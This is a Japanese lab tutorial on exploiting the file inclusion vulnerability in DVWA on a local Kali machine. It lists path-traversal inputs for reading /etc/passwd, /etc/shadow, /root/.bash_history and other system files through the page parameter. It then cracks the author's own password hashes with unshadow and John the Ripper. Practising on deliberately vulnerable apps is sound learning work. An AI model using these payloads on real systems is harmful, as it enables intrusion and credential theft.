DVWAでfile inclusion

## 前提
- kali linux環境がある
- DVWAのセットアップ済み（https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c ）

## 目標
- file-inclusionでパスワードを奪取する

## 手順概要
- パスワード管理ファイルにアクセスする

## 内容
### file inclusionとは
- urlのクエリを用いてサーバー内にあるファイルにアクセスすること。
- urlのクエリ＝fileパスと同じ意味になるので、クエリを操作することで意図しないファイルにアクセスできる。

### 前準備
- DVWAにログインする
    - 以下コードをkali上で実行しDVWAを立ち上げる。
    - http://localhost/DVWA-master/index.php
    - admin/passwordでログイン
- セキュリティレベルを下げる。
    - メニュー下にあるDVWA securityへアクセス
    - デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する

```shell:
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/bb95d520-1602-b7b8-afa3-85da3ffb651e.png)

- file inclusionにアクセスする（左メニューにある）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/5b49f600-3d58-e07e-e3d8-d9390523be5a.png)

### file inclusion開始

- 挙動を確認する
    - 取り合えず「file1.php」「file2.php」「file2.php」のリンクがあるのでそれぞれを押してみる。
    - すると、urlが以下のように変化する
        - http://localhost/DVWA-master/vulnerabilities/fi/?page=file1.php
        - http://localhost/DVWA-master/vulnerabilities/fi/?page=file2.php
        - http://localhost/DVWA-master/vulnerabilities/fi/?page=file3.php
    - どうやらpage="file名"という構造になっていると予想できる


-  urlのクエリを直接いじってみる。（file4.phpとしてみる）
    - http://localhost/DVWA-master/vulnerabilities/fi/?page=file4.php
    - なんか褒められたが、重要な情報は出てこなかった。
    - ただ、file名を指定することで存在するファイルにアクセスできることが確定した

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/51d0c369-19fe-ab4c-d486-b3efdc33ed09.png)



- いろんなファイルにアクセスする（適時階層は調整するtry&err）
    - ../../phpinfo.php

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/a09447fa-8eca-f6ae-bcb4-b0134ccd81fa.png)


    - /etc/passwd
    - /etc/issue
    - /proc/version
    - /etc/shadow（ｘ）
    - /root/.bash_history
    - /var/log/dmessage（ｘ）
    - /var/mail/root（ｘ）
    - /var/spool/cron/crontabs/root（ｘ）


- パスワードを奪取する
    - パスワードが管理されているのは/etc/passwdと/etc/shadow
    - /etc/passwd（下図）
    - /etc/shadow（取得できず）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/ed7c5f02-662d-c6ac-3572-b03912f48ca5.png)

- 本来であれば上のデータをもとにパスワードを解析する
    - 参照： https://qiita.com/y-araki-qiita/items/cda417e49108eee1fb7b
    - 今回はshadowファイルをゲットできなかったので、無理でしたｍｍｍ

- 仕方ないのでデータ取れた前提で解析する
    - passwdとshadowファイルを連結し、johnさんに投げる。
    - 以下shellを実行すると(id/pw)=root/rootであることが分かった。
    - 現在kali linuxがサーバーみたいなものなので、kali linuxのログイン認証情報を獲得できた。（johnで解析できるように強度の低いパスワードに再設定して解析した。強度が高いと失敗する）

```shell:
# passwd+shadowファイルを連結する
root@kali:~# unshadow /etc/passwd /etc/shadow > hash.txt
# 解析開始
root@kali:~# john hash.txt 
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
root             (root)
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
1g 0:00:00:30 19.38% 2/3 (ETA: 00:18:42) 0.03322g/s 1039p/s 1039c/s 1039C/s mailer2..bandit!
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
```

おわり